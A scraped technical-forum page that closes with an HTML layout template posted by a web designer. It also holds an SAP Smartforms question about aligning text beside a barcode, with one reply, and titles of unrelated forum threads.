    </address>
    <!-- end #header --> </div>
    <div id="sidebar1">
    <p>#sidebar1 = 175px wide + 10px padding </p>
    <p>insert your list menus here</p>
    <p>insert your ads here</p>
    <p> </p>
    <p>&lt;end of sidebar1&gt; </p>
    <!--end sidebar1 --> </div>
    <!--begin mainContent -->
    <div id="mainContent">
    <h1>#container = 1000px  </h1>
    <h1>#mainContent = left-margin 190px </h1>
    <h3>  </h3>
    <h3>Begin #Photos </h3>
    <!--begin photos -->
    <div id="photos">
    <p>optional caption<br />
    <img src="http://www.rsicorp.org/rsi/images/Thumbs Pre/1001thumb.jpg" alt="some description" /></p>
    <p>optional caption<br />
    <img src="http://www.rsicorp.org/rsi/images/Thumbs Pre/1001thumb.jpg" alt="some description" /></p>
    <p>optional caption<br />
    <img src="http://www.rsicorp.org/rsi/images/Thumbs Pre/1001thumb.jpg" alt="some description" /></p>
    <p>optional caption<br />
    <img src="http://www.rsicorp.org/rsi/images/Thumbs Pre/1001thumb.jpg" alt="some description" /></p>
    <p>optional caption<br />
    <img src="http://www.rsicorp.org/rsi/images/Thumbs Pre/1001thumb.jpg" alt="some description" /></p>
    <p>optional caption<br />
    <img src="http://www.rsicorp.org/rsi/images/Thumbs Pre/1001thumb.jpg" alt="some description" /></p>
    <p>optional caption<br />
    <img src="http://www.rsicorp.org/rsi/images/Thumbs Pre/1001thumb.jpg" alt="some description" /></p>
    <p>optional caption<br />
    <img src="http://www.rsicorp.org/rsi/images/Thumbs Pre/1001thumb.jpg" alt="some description" /></p>
    <!--end photos --></div>
    <!--IMPORTANT! clear floats after photos div-->
    <hr class="clearing" />
    <!-- end #mainContent --></div>
    <div id="footer">
    <p>Your footer text goes here</p>
    <!-- end #footer --> </div>
    <!-- end #container --> </div>
    </body><!--end body -->
    </html> <!--end document -->
    Good luck with your project,
    Nancy O.
    Alt-Web Design & Publishing
    Web | Graphics | Print | Media  Specialists
    http://alt-web.com/
    http://twitter.com/altweb

  • Smartforms - Center Alignment in the cell

    Hi
    I have defined a label in the following format using Smartforms...
    All the variables are contained within a template, which is in a loop
    I see that the texts which are right to the bar code are coming at the top right corner..
    http://img41.imageshack.us/img41/2193/label1present.png
    How can I get them to right center alignment like the following image...
    http://img193.imageshack.us/img193/4839/label1desired.png

    Hi Grame,
    You can create the 2 windows ,. one for bar code and another for that text.
    Overlapp those wondows so that the text window will come at the place where u want.
    Try if this is working.
    Rgds,
    Madhuri

Maybe you are looking for

  • Problem with Flash and DW8

    here i have a problem with dw8, when using a flash file and an frameset. all links are placed into the .swf file, and the frame name is correct. however the links only got open on an new window and not in the specific frame. how do i have to link .ht

  • How to attach Excel file in Mail Receiver Adapter?

    Hello Experts, In R/3 coding I have Internal Table data available for which i have to generate an Alert mail with Excel file attachment. This is the scenario of Proxy sender to Mail Receiver. but I don't know how to convert the Internal Table data in

  • Transaction Code F.50 Runtime Error

    Dear Friends, While executing T.code F.50, I am getting the following Error Runtime Errors         SAPSQL_ARRAY_INSERT_DUPREC                                                  Exceptn                CX_SY_OPEN_SQL_DB                                   

  • Acrobat 8 Pro Export Table to Excel

    Using Professional 8 and I cannot seem to get this table in PDF exported to Excel or any other format I can open in Excel.  I've read and followed multiple help files out there but the selections I'm supposed to have aren't available... I set my page

  • Multiple Workspace Structures

    Hi; Is it possible to have multiple workspace structures, and upon a setting (cmdline or otherwise) have jDev see a certain structure only. Thanks; -Nat [Let's ROLL!]